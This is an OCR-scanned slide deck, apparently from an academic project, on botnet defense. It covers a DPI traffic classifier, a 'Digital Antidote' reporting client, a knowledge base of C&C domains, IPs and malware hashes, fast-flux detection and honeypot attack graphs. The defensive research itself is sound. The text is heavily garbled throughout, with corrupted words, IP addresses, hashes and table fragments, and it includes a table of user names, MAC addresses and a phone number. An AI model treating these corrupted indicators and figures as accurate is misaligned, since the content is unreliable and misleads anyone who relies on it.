(_ Rules table file )

. |
jerwcecontml (__MIB/ Private MIB__ )

~——| | DPI trapper (

Update MIB

Local network App. Service

SNMP Agent

SNMP trap message j

[

Rule table
Yariable offsct
C

Fixed offset )(_  Arithmetic )

L

Statistics [: Event handler

)

f

Traffic Classification ]

v
{ NF IP LOCAL IN J CPNF_IP_LDCAL_DL‘T ’

. DPI module
@ NF_IP FORWARD

Routing

DPI module NF_IP_PRE_ROUTING} 2
NF_IP_ PROMISC - 1\ F_IP_POST ROUTING
- r Netfilter Framework J
OtherHost -
(Offline mode) —i- Inline mode —— =
Reception Transmission

¥

c

arp _rcy j] ( ip_rev j
T T

[ netif_rx_schedule )

(ip_queue_xmit ]

[ dev_queue_xmit ]

Network subsystem

!

Network device drivers

YTy

Network Interface Cards
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efense Countermeasure:

DPI System for Blocking Botnet (cont,)

» Mixed Matching Strategies:

o Zero offset patterns
+ Match the payload starting from the beginning using ‘memcmp..
+ Return at most one result.

» Fixed offset patterns
+ Match the payload starting from a fixed position using ‘memcmp..
+ Return at least one result.

» Variable offset patterns
+ Match the payload starting from a variable position using ‘memcmp.
+ Return at least one result.

o Arithmetic patterns ,
+ Some data in a packet are computed to decide to whic -{

habplicafi
belongs. m s

Y 4
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efense Countermeasure:

DPI System for Blocking Botnet (cont,)

» Traffic Classification Flow Chart

Y \J

Y
Zero offset Fixed offset Arithmatic
policy policy policy

] r r

i
Lookup rule table 1

Y

NO _| Variable
" | offset policy

Matched

YES L
Lookup rule table 2

i
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Defense Countermeasure:

DPI System for Blocking Botnet (cont)

The Reports of phishing site connection The Reports of Botnet Flow
==

Phishing Sites Detection Reports

Instar Detection Dally Statistics Catogory
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Defense Countermeasure:

Digital Antidote for Botnets

» Developed Antidote for Botnet

System automatically update | | Eyidence Preservation

the latest signatures after Encrypted the evidence and sent

analyzed and filtered the :
: : back to manager thru e-mail.
infectious events of botnet.

] DA_system3y &S 23:1
TIPSR, | matware TSR

g malware.zip

184K Grmail SRS EEsRE NS - [

O EE riEm

E mahware[1].zip - WinRAR
BEF FH%0 IR EmE=z(0) ZBEEMN) ==REEH)

= FLEr TR

s B BB e RE BE | BR 0 BE BE ERESS

Fil1 N BREES 3 =& =3
m E malware[1].ziphD&\malware - ZIP Ei81E, =375 /)V 197,382 (I o8 [
=E 4 Fin mEmiE A
Folder /

|| dirtile.com txt * 191,488 185,720 Text Document
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Defense Countermeasure:

National Science Coung

(.) ITER [ S A

Digital Antidote for Botnets (cont,)

Virus statistics:

Manager lists the detailed
iInformation regarding the
zombies

Antidote deployment
Automatic sents the latest version
to renew whenever detected the

expired ones

i BN

BH &AW v REEH v DENME  EXTHE | EREA

wHEETE BEEM R
Worm/SdBot.JUI ___|dirtile.com

Worm/SdBot.JUI2 |dirtile.com

[TEST-OD3A6E18E3 |00-0C-29-73-6C-2D

R
00-0C-29-73-6C-2D
00-0C-29-73-6C-20
00-0C-29- C-2D
00-0C-29-73-6C-2D
00-0C-29-73-6C-2D
00-0C-29-73-6C-2D

/ [ 120.114.62.24/DA Web.. 2

www.facebook com XSS - P2P10. 8% P leifleungfyifsE - P.

-user-profile.aspx?

C fi © - ©1201146224/D

ac- & V¢ | &y @ OZ A

F/ENZT5 - ADIR » 0O EnEs

Mac user_name|network_group| IP_address |user_DA_version| phone [registry_name|

2D

00-0C-29-73-6C-

tom |DistrictA 192.168.14.16920101222 0919145687 £/\&

JEE AR S BRI S

ol | sams | ews | FR0% | BEWBRETE | AgentEA T

[ A 25 CERSEE
SR G IR ZE YR A

Eing i
00-0C-29-A9-88-E7

i

EEEOE ]
EFEH |
May 2011
s | Su Mo Tu We Th Fr Sa

1 2 3 4 5 6 7
EREAR 55 EIT 9| 10, 11 12| 13| 14
JOEB0075-423577 |Disl 15 16 17 18 19 20 21

#R%E | 00-0C-29-73-6C-2D

TEST-0D3AGE1S8ER |Dist 22 23 24 25| 256|272

438 | 00-0C-29-2A-B2-BB

bill Disf 29 30 31

#R%8 | 00-0C-29-2A-B2.CC

Jjack DistrictC |[192.168.15.169 | 20101222

438 | 00-0C-29-2A-B2-FF

WIN-ISTTURNCTNG | DistrictD | 192.168.15.188 | 20110314

#R%8 | 00-0E-2E-FO-C7-69

JOESOO7S-PC DistrictD | 1201146225 | 20110314

00-0C-29-CC-F7-FF

WYIN-ISTTURNCTNG | DistrictD | 192.168.145.210 20110314

00-26-18-E6-16-AA

LAB-PC 1201146220 | 20110310
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Knowledge Base

A database to collect and mos -

31 abbcab386d4la7e7848e648fala38af9 | 204.12.237.20 yarmwhite.com
32 acbcab386d4la7er7B848e648fala3Barg | 204.45.41.82 =
S h ar e 33 a66cab386d4la7e7848e648fala38af9 | 204.45.41.83 -
34 a66cab386d41la7e7848e648fala38af9 | 204.45.41.84 =
35 a66cab386d4la7e7848e648fala38af9 | 207.46.197.32 die-neue-generation-zusammenarbeit. net
° b O t n et eV e n t S 36 abbcab386d4la7e7848e648fala38af9 | 207.46.197.32 windowsdriverdeveloperconference. net
37 acbcab386d4la7er7B848e648fala3Barf9 | 207.46.197.32 neue-generation-zusammenarbeit. net
C & C I 1 38 | a66cab386d4la7e7848e648fala38afo | 207.46.197.32 | deutschland-sicher-im-netz.com
I S t S 39 a66cab386d4l1a7e7848e648fala38af9 | 207.46.197.32 microsoftlicensestatement.ca
40 abbcab386d4la7e7848e648fala38af9 | 207.46.197.32 windowsvistadesktoptheme.net
o m aI W ar e S a m p | e S 41 aebcab386d4la7e7848e648fala38arf9 | 207.46.197.32 riskandsecurityexchange.ch
42 acbcab386d4la7e7848e048fala38afe | 207.46.197.32 microsoftbusinessawards.es
o 43 abbcab386d4la7e7848e648fala38afo | 207.46.197.32 mbsanalyticalaccounting.com
[ ] f aS t _f I u X d et e C t I O n Gt a6tcab386d41a7e7848e648fala38af9 | 207.46.197.32 communications-unifiees.com
45 abbcab386d4la7e7848e648fala38af9 | 207.46.197.32 migrerversvisualstudio.org
. - = 46 a66bcab386d4 la7e7848e648fala38af9 | 207.46.232.182 | windowsdriverdevelopmentconference. com
[ p h I S h I n g S I t e 47 9cl516a2e208f0ffdc438e8e3bleabec | 50.23.84.216 23.84.216-static. reverse. softlayer.com
48 9cl516a2e208f0ffdc438e8e3bleabec .23.84.217 23.84.217-static. reverse. softlayer.com
23.84.218-static. reverse. softlayer.com
23.200. 56-static. reverse. softlayer.com
23.200. 57-static. reverse. softlayer.com

49 Ycl1516a2e208f0ffdc438e8e3bleabec 23.84.218

* sandbox report ==
e statistics
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Attack Community Graph

» Alarge amount of honeypot logs from Hpfeeds
result in difficulties in data analysis and
interpretation.

» This project is supported by Google Summer of
Code 2012.

o Construct attack graph from multi-sources to provide a
comprehensive attack scenario.

“Show whole picture and tell the story”




Knowledge Base:

Attack Community Graph

» Automated extract botnet C&C domains to do fast-flux detection

Home . Searches . Overallgraph .

Sample search: cuckoo_run_ffdomainip | Actions »

index=cuckoo_dnsinfo| geoip |dedup dnsinfo_hostname | stats values(dnsinfo_hostname) || ffdomainip Al time ﬂ

‘ S adii

% 2 27 matching events | 58 scanned events

Shﬂw Ilme“ne 93 results cver all time
3 selected fields Edit = S S
host. oveer: nere - Malicious hostname and resolved IPs (fast-fluxing IPs)
pff_domain %
source B EF R ECT 728789047
Odaymusic.biz B4.200.51.3
s [ Ohandicap.at 195.3.105.34 AT 47.3333 13.3333
4darabians.nl 94.228.220.196 ML 652.6 5.75
15 interesting fields 4dbabamozi.hu 195.226.75.154 HU 47.5 19.0833
dnsinfo_hostname 4dbenelux.be 94.247 176.158 FR 46.0 2.0
4dmobil.at 193.200.113.66 AT 47.3333 13.3333 B
dnsinfo_ip desports.eu 212.172.221.9 DE 51.0 9.0 - v‘
filatype 4estates.eu 94.229.34.4 SK 48.666T 19.5 : 1
4eternity.ch B50.74.136.2 cH 47.0 8.0 . BN
geo_info detoiles.fr 109.0.24.4 FR 43.6927 3.8048 N\
_ devents.at B3.169.32.159 DE 51.65 6.1833 W
el dever-hosting.de 194.116.186.70 DE 51.0 s.0 [ '\’j
geolp_country_code deverdyou.de 195.225.104.182 DE 51.65 6.1833 |2
deverandever.de 212227.97.23 DE 51.0 2.0
geoip_country_name deverdreams.nl 141.256.181.156 ML 52.5 5.75 —
1 - deverevents.nl 17B.18.129.48 ML 52.65 5785
gealp_latitude deverflashlight.de 217.13.199.20 DE 51.0 9.0 LN
geoip_longitude 4evermusic.pl 217.149.243.144 PL 52.25 21.0
devernails.nl 109.237 .208.85 ML 52.5 5.75
index |
IE— ]
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Attack Community Graph

o Collect malware samples from multi-source Honeypot logs
» Use sandbox to obtain malicious hostnames (C&C )
» Apply fast-flux detection to obtain corresponding IP’s
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nowledge Base:

Attack Community Graph

» Itis easy to find current active C&C domain, estimate the
scale of C&C domain using by malwares

e
Malicious hostnames sharing Lots of malware
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Knowledge Base:

Attack Community Graph

» This graph is to display the Interlinks from landing
site, hopping site to malware downloading

.nteﬂlnkgraph: Landvlng--SI'le. Hopplngf_sl'leand M?Iw?r\esi - Green Landlng S|te (MaILC|OUS URL) . )
. R N “-Pink: quplng Sité (Exploit Code) —
e e N T S \ N ‘_ Blue: Malware DewnTeadlng (Drlve by Dowhload)
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Future Works

» We had built a Testbed@TWISC with
220 real machines

» Now, we design and implement a
Testbed with virtual machine

» Using ORCA as an interface for user to
request resources

» Real machines & Virtual machine - | 42
» Support LAN extension technics o e Lol




Attack Community Graph

» This graph can help us find the different structure of
malicious sites.
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Thank you for your attention !
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